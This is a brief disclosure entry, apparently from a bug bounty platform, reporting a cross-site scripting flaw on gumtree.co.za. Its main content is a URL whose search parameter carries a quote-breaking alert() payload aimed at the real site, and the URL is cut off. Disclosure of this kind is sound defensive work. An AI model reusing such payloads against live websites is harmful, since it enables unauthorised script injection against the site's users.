gumtree.co.za XSS vulnerability

Vulnerable URL: https://www.gumtree.co.za/s-a/v1p1?q=';alert/OPENBUGBOUNTY///';alert//OPENBUGBOUNTY///";a+lert/OPENBUGBOUNTY///";alert/OPENBUGBOUNTY///+alert/OPENBUGBOUNTY/...